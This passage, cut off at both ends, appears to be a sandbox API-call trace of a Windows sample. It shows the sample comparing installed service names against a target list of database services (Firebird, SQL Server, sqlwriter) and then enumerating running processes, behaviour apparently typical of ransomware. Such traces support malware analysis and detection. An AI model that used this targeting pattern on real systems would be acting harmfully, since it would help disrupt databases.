lpString2="lmhosts") returned 1 [0110.529] lstrlenW (lpString="LSM") returned 3 [0110.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0110.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0110.529] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0110.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0110.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0110.529] lstrlenW (lpString="MpsSvc") returned 6 [0110.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0110.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0110.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0110.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0110.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0110.529] lstrlenW (lpString="NcbService") returned 10 [0110.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0110.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0110.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0110.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0110.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0110.530] lstrlenW (lpString="netprofm") returned 8 [0110.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0110.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0110.530] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0110.530] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0110.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0110.530] lstrlenW (lpString="NlaSvc") returned 6 [0110.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0110.530] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0110.530] lstrlenW (lpString="nsi") returned 3 [0110.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0110.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0110.530] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0110.530] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0110.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0110.530] lstrlenW (lpString="PcaSvc") returned 6 [0110.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0110.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0110.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0110.530] lstrlenW (lpString="PlugPlay") returned 8 [0110.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0110.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0110.531] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0110.531] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0110.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0110.531] lstrlenW (lpString="Power") returned 5 [0110.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0110.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0110.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0110.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0110.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0110.531] lstrlenW (lpString="ProfSvc") returned 7 [0110.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0110.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0110.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0110.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0110.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0110.543] lstrlenW (lpString="RpcEptMapper") returned 12 [0110.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0110.543] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0110.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0110.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0110.543] lstrlenW (lpString="RpcSs") returned 5 [0110.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0110.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0110.543] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0110.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0110.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0110.543] lstrlenW (lpString="SamSs") returned 5 [0110.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0110.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0110.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0110.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0110.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0110.544] lstrlenW (lpString="Schedule") returned 8 [0110.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0110.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0110.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0110.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0110.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0110.544] lstrlenW (lpString="SecurityHealthService") returned 21 [0110.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0110.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0110.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0110.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0110.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0110.544] lstrlenW (lpString="SENS") returned 4 [0110.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0110.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0110.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0110.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0110.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0110.544] lstrlenW (lpString="ShellHWDetection") returned 16 [0110.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0110.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0110.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0110.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0110.545] lstrlenW (lpString="Spooler") returned 7 [0110.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0110.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0110.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0110.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0110.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0110.545] lstrlenW (lpString="sppsvc") returned 6 [0110.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0110.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0110.545] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0110.545] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0110.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0110.545] lstrlenW (lpString="SSDPSRV") returned 7 [0110.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0110.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0110.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0110.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0110.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0110.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0110.551] Process32FirstW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.552] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.553] lstrlenW (lpString="System") returned 6 [0110.553] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.554] lstrlenW (lpString="smss.exe") returned 8 [0110.554] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.555] lstrlenW (lpString="csrss.exe") returned 9 [0110.555] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.556] lstrlenW (lpString="wininit.exe") returned 11 [0110.556] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.557] lstrlenW (lpString="csrss.exe") returned 9 [0110.557] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.558] lstrlenW (lpString="winlogon.exe") returned 12 [0110.558] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.559] lstrlenW (lpString="services.exe") returned 12 [0110.559] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.560] lstrlenW (lpString="lsass.exe") returned 9 [0110.560] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.561] lstrlenW (lpString="svchost.exe") returned 11 [0110.561] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0110.562] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0110.562] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0110.563] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0110.563] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.564] lstrlenW (lpString="svchost.exe") returned 11 [0110.564] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.565] lstrlenW (lpString="dwm.exe") returned 7 [0110.565] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.566] lstrlenW (lpString="svchost.exe") returned 11 [0110.566] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.567] lstrlenW (lpString="svchost.exe") returned 11 [0110.567] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.568] lstrlenW (lpString="svchost.exe") returned 11 [0110.568] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.569] lstrlenW (lpString="svchost.exe") returned 11 [0110.569] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.570] lstrlenW (lpString="svchost.exe") returned 11 [0110.570] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.571] lstrlenW (lpString="svchost.exe") returned 11 [0110.571] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.572] lstrlenW (lpString="svchost.exe") returned 11 [0110.572] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.573] lstrlenW (lpString="svchost.exe") returned 11 [0110.573] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.573] lstrlenW (lpString="svchost.exe") returned 11 [0110.573] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.574] lstrlenW (lpString="spoolsv.exe") returned 11 [0110.574] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.575] lstrlenW (lpString="svchost.exe") returned 11 [0110.575] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.576] lstrlenW (lpString="svchost.exe") returned 11 [0110.576] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.577] lstrlenW (lpString="audiodg.exe") returned 11 [0110.577] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.909] lstrlenW (lpString="sihost.exe") returned 10 [0110.909] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.910] lstrlenW (lpString="svchost.exe") returned 11 [0110.910] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.910] lstrlenW (lpString="taskhostw.exe") returned 13 [0110.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0110.911] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0110.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0110.912] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0110.912] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.913] lstrlenW (lpString="explorer.exe") returned 12 [0110.913] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0110.913] lstrlenW (lpString="Memory Compression") returned 18 [0110.913] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.917] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0110.917] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.918] lstrlenW (lpString="SearchUI.exe") returned 12 [0110.918] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.920] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0110.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.921] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0110.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0110.923] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0110.923] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0110.923] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0110.923] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0110.924] lstrlenW (lpString="conhost.exe") returned 11 [0110.924] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0110.925] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0110.925] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0110.926] lstrlenW (lpString="upper arc.exe") returned 13 [0110.926] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0110.926] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0110.927] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0110.927] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0110.927] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 